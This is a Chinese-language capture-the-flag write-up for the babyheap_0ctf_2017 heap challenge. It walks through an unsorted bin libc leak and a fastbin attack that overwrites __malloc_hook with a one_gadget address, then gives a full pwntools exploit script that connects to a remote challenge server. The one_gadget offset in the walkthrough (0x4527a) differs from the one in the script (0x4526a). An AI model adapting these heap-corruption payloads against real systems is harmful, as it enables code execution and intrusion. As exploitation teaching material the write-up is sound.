babyheap_0ctf_2017
第一道堆题目,理解不深,如有错误,请师傅们指出。类型:unsorted bin,fastbin attack
关于malloc_hook的作用:
当malloc函数调用时会检测 malloc_hook 是否为空,如果为空什么也不干,如果不为空,则跳转到 malloc_hook 记录的内存地址去执行,设置malloc_hook的地址为one_gadget,来getshell。
关于libc与main_arena等:
malloc_hook 的地址与libc基地址为固定值的偏移,所以需要泄露libc基地址。而 libc 基地址的泄露:利用当 unsorted bin 只有一个堆块时,fd、bk指针都会指向main_arena 位置,而main_arena与libc的基地址有固定值的偏移。整个泄露链子为:main_arena -> libc基地址 -> malloc_hook地址
Unsorted Bin Attack
Allocate(0x10) #0
Allocate(0x10) #1
Allocate(0x10) #2
Allocate(0x10) #3
Allocate(0x80) #4
Free(1)
Free(2)
payload = b'a'*0x18+p64(0x21)+b'b'*0x18+p64(0x21)+p8(0x80)
Fill(0,payload)
通过堆溢出将fastbin篡改
payload = b'c'*0x18+p64(0x21)
Fill(3,payload)
修改最后一个chunk的大小由0x80变为0x10
Allocate(0x10)
Allocate(0x10)
此时申请两个chunk,2,4的指针指向同一个chunk
payload = b'a'*0x18+p64(0x91)
Fill(3,payload)
扩大最后一个chunk,为了下面能进入unsorted bin中
Allocate(0x80) #5
Free(4)
Dump(2)
为了防止与top chunk进行合并,所以再次申请一个chunk,此时可以通过dump 2泄露指针
然后就是对地址的处理,减去固定的偏移
unsorted_bin = u64(r.recvuntil('\x7f')[-6:].ljust(8,b'\0'))
log.info("unsorted_bin -> "+hex(unsorted_bin))
main_arena = unsorted_bin - 0x58
libc_base = main_arena-0x3c4b20 # main_arena与libc_base有固定偏移,main_arena_offset 工具
log.info("main_arena -> "+hex(main_arena))
log.info("libc_bsae -> "+hex(libc_base))
fastbin attack
现在需要去修改 __malloc_hook 的内容,那怎么去修改?现在有这一思路:我们可以利用上面的条件,操作指针2的chunk,先申请一个fastbin,通过堆溢出修改其fd,伪造一个fake fastbin,其中fake fastbin中包含__malloc__hook的地址,然后通过两次malloc就能操作fake的chunk,继而修改__malloc_hook的内容。
Allocate(0x60)
Free(4)
进入fastbin中
通过指针2去伪造一个 fake fastbin
payload = p64(main_arena-0x33)
log.info('payload -> '+str(payload))
log.info("main_arena-0x33 -> "+hex(main_arena-0x33))
Fill(2,payload)
那么这个fake fastbin是怎么来的,又要符合什么条件?首先符合fastbin的大小,其次在__malloc_hook地址附近
查看__malloc_hook 地址后,利用 find_fake_fast 快速找出fake fastbin的地址为 0x7f118d764aed,并且大小为0x7f,然后本地计算出与泄露的mian_arena地址偏移为0x33,便可根据题目泄露的main_arena找到这一地址。
Allocate(0x60) #4
Allocate(0x60) #6
one_gadget = libc_base+0x4527a #0x4527a
log.info("one_gadget -> "+hex(one_gadget))
payload = b'a'*(0x13)+p64(one_gadget)
Fill(6,payload)
第二次申请就到了fake chunk,然后__malloc_hook与fake chunk地址差值为0x23,再减去chunk head的0x10,所以填充0x13的字符才到__malloc_hook,one_gadget一下找到so文件的shell地址即可
Allocate(0x60)
r.interactive()
再次申请时,调用shell。
exp
from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal=['cmd.exe', '/c', 'start', 'wsl.exe']
r = remote("node4.buuoj.cn",29122)
#r = process('./heap') # babyheap_0ctf_2017
#r = gdb.debug("./heap")
def Allocate(size):
r.sendlineafter("Command: ",'1')
r.sendlineafter("Size: ",str(size))
def Fill(index,payload):
r.sendlineafter("Command: ",'2')
r.sendlineafter("Index: ",str(index))
r.sendlineafter("Size: ",str(len(payload)))
r.sendlineafter("Content: ",payload)
def Free(index):
r.sendlineafter("Command: ",'3')
r.sendlineafter("Index: ",str(index))
def Dump(index):
r.sendlineafter("Command: ",'4')
r.sendlineafter("Index: ",str(index))
#-------Unsorted Bin Attack-----
Allocate(0x10) #0
Allocate(0x10) #1
Allocate(0x10) #2
Allocate(0x10) #3
Allocate(0x80) #4
Free(1)
Free(2)
# 篡改fastbin指向
payload = b'a'*0x18+p64(0x21)+b'b'*0x18+p64(0x21)+p8(0x80)
Fill(0,payload)
# 符合fast bin大小
payload = b'c'*0x18+p64(0x21)
Fill(3,payload)
# 两次申请,2、4指向同一chunk
Allocate(0x10)
Allocate(0x10)
# 为进入unsorted bin修改大小
payload = b'a'*0x18+p64(0x91)
Fill(3,payload)
# 防止top chunk合并
Allocate(0x80)
# 进入unsorted bin
Free(4)
Dump(2)
unsorted_bin = u64(r.recvuntil('\x7f')[-6:].ljust(8,b'\0'))
log.info("unsorted_bin -> "+hex(unsorted_bin))
main_arena = unsorted_bin - 0x58
libc_base = main_arena-0x3c4b20 # main_arena与libc_base有固定偏移,main_arena_offset 工具
log.info("main_arena -> "+hex(main_arena))
log.info("libc_bsae -> "+hex(libc_base))
#---------fastbin attack-------
Allocate(0x60)
Free(4)
# 伪造fake fastbin
payload = p64(main_arena-0x33)
log.info('payload -> '+str(payload))
log.info("main_arena-0x33 -> "+hex(main_arena-0x33))
Fill(2,payload)
# 申请到fake chunk
Allocate(0x60)
Allocate(0x60)
one_gadget = libc_base+0x4526a #0x4527a
log.info("one_gadget -> "+hex(one_gadget))
payload = b'a'*(0x13)+p64(one_gadget)
# 填入__malloc_hook
Fill(6,payload)
# 调用
Allocate(0x60)
r.interactive()